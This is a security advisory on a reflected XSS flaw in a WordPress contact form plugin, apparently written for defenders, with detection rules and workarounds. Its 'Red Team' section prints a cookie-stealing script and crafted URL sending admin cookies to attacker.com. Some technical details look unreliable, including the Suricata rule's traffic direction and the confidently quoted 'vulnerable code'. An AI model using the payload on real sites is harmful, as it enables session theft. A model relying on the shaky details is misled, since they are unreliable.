CVE-2024-2200

Executive Summary

CVE-2024-2200 is a reflected Cross-Site Scripting (XSS) vulnerability in the Contact Form by BestWebSoft plugin for WordPress, affecting all versions up to and including 4.2.8. The flaw resides in the cntctfrm_contact_subject parameter, which is insufficiently sanitized and escaped. An unauthenticated attacker can craft a malicious link that, when clicked by a logged-in administrator or editor, executes arbitrary JavaScript in the context of the WordPress admin panel. This can lead to session hijacking, privilege escalation, or the injection of backdoor admin users. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk is elevated for sites with untrusted users or shared admin access.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is installed on over 100,000 sites. The attack vector relies on tricking a user with administrative or editor-level privileges into clicking a crafted link, making it a classic phishing-based XSS.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is launched remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed to craft the payload.
• User Interaction (UI): Required (R) – The victim must click the malicious link.
• Scope (S): Changed (C) – The vulnerable component (plugin) impacts the broader WordPress application.
• Confidentiality (C): Low (L) – Limited data exposure via script execution.
• Integrity (I): Low (L) – Attacker can modify content or settings.
• Availability (A): None (N) – No direct denial of service.

Overall Score: 6.1 (Medium) – The requirement for user interaction reduces the severity, but the potential for admin-level compromise elevates the risk.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS in the cntctfrm_contact_subject parameter of the Contact Form plugin. When a user submits a contact form, the plugin processes the subject field and reflects it back in the admin panel’s “Contact Form Entries” view without proper sanitization or output escaping.

Attack Flow:

1. Attacker crafts a URL: https://victim-site.com/wp-admin/admin.php?page=cntctfrm&cntctfrm_contact_subject=<script>alert('XSS')</script>
2. Attacker sends this link to a logged-in admin via email, social engineering, or a compromised third-party site.
3. Admin clicks the link, and the browser executes the injected script in the context of the WordPress admin panel.
4. The script can steal session cookies, create new admin users, or exfiltrate sensitive data.

Root Cause: The plugin uses $_GET['cntctfrm_contact_subject'] directly in the output without calling esc_html() or wp_kses_post(). The lack of input validation allows arbitrary HTML/JavaScript injection.

Vulnerable vs. Patched Code

Vulnerable Code (v4.2.8):

// In admin/contact_form.php
$subject = $_GET['cntctfrm_contact_subject'];
echo '<div class="wrap"><h2>' . $subject . '</h2></div>';

Patched Code (Hypothetical Fix):

// In admin/contact_form.php
$subject = isset($_GET['cntctfrm_contact_subject']) ? sanitize_text_field($_GET['cntctfrm_contact_subject']) : '';
echo '<div class="wrap"><h2>' . esc_html($subject) . '</h2></div>';

The fix uses sanitize_text_field() to strip malicious tags and esc_html() to encode HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress site with Contact Form by BestWebSoft <= 4.2.8 installed and activated.
• A victim user with admin or editor privileges.

Exploit Payload:

<script>
// Steal admin session cookie
var img = new Image();
img.src = 'http://attacker.com/steal.php?cookie=' + document.cookie;
</script>

Crafted URL:

https://victim-site.com/wp-admin/admin.php?page=cntctfrm&cntctfrm_contact_subject=<script>var img=new Image();img.src='http://attacker.com/steal.php?cookie='+document.cookie;</script>

Lab Setup:

1. Install WordPress and the vulnerable plugin.
2. Log in as an admin.
3. Open a new tab and paste the crafted URL.
4. Observe the cookie being sent to the attacker’s server.

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests to /wp-admin/admin.php with cntctfrm_contact_subject containing <script> or onerror= patterns.
• Use WAF rules to block cntctfrm_contact_subject parameters containing HTML tags.

Mitigation:

• Immediately update the plugin if a patched version becomes available.
• If no patch exists, disable the plugin or remove the vulnerable parameter handling via a custom plugin or theme functions.php:

add_action('init', function() {
    if (isset($_GET['cntctfrm_contact_subject'])) {
        $_GET['cntctfrm_contact_subject'] = sanitize_text_field($_GET['cntctfrm_contact_subject']);
    }
});

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /wp-admin/admin.php with cntctfrm_contact_subject containing <script>, <img>, or onerror= attributes.
  • Outbound connections to unknown IPs or domains from the WordPress admin panel.

• File IOCs:

  • Modified wp-content/plugins/contact-form-plugin/admin/contact_form.php file (if attacker gains write access).
  • New admin users created via XSS payloads.

• Log IOCs:

  • Web server logs showing cntctfrm_contact_subject parameter with base64-encoded or obfuscated JavaScript.

Detection Engineering

YARA Rule

rule CVE_2024_2200_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts against Contact Form by BestWebSoft plugin"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-2200"
    strings:
        $param = "cntctfrm_contact_subject="
        $script = /<script[^>]*>.*<\/script>/i
        $img = /<img[^>]*onerror=/i
        $event = /onload=|onerror=|onclick=/i
    condition:
        $param and ($script or $img or $event)
}

Sigma Rule

title: Reflected XSS via Contact Form by BestWebSoft
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts against the cntctfrm_contact_subject parameter
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: "cntctfrm_contact_subject="
        cs-uri-query|contains|all:
            - "<script"
            - "</script>"
    condition: selection
falsepositives:
    - Legitimate use of HTML in subject field (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-2200 Reflected XSS in Contact Form by BestWebSoft";
    flow:to_server,established;
    content:"cntctfrm_contact_subject="; http_uri;
    content:"<script"; http_uri;
    content:"</script>"; http_uri;
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate Action: Disable the Contact Form by BestWebSoft plugin until a patched version is released.
2. Workaround: Add a custom filter to sanitize the vulnerable parameter:

   add_filter('query_vars', function($vars) {
       if (isset($_GET['cntctfrm_contact_subject'])) {
           $_GET['cntctfrm_contact_subject'] = sanitize_text_field($_GET['cntctfrm_contact_subject']);
       }
       return $vars;
   });
   

3. Long-term: Monitor the plugin’s official page for updates. Consider switching to a more actively maintained contact form plugin (e.g., Contact Form 7, WPForms).
4. User Education: Train administrators to avoid clicking suspicious links, especially those containing query parameters.

Valters IT
Securing WordPress, One Plugin at a Time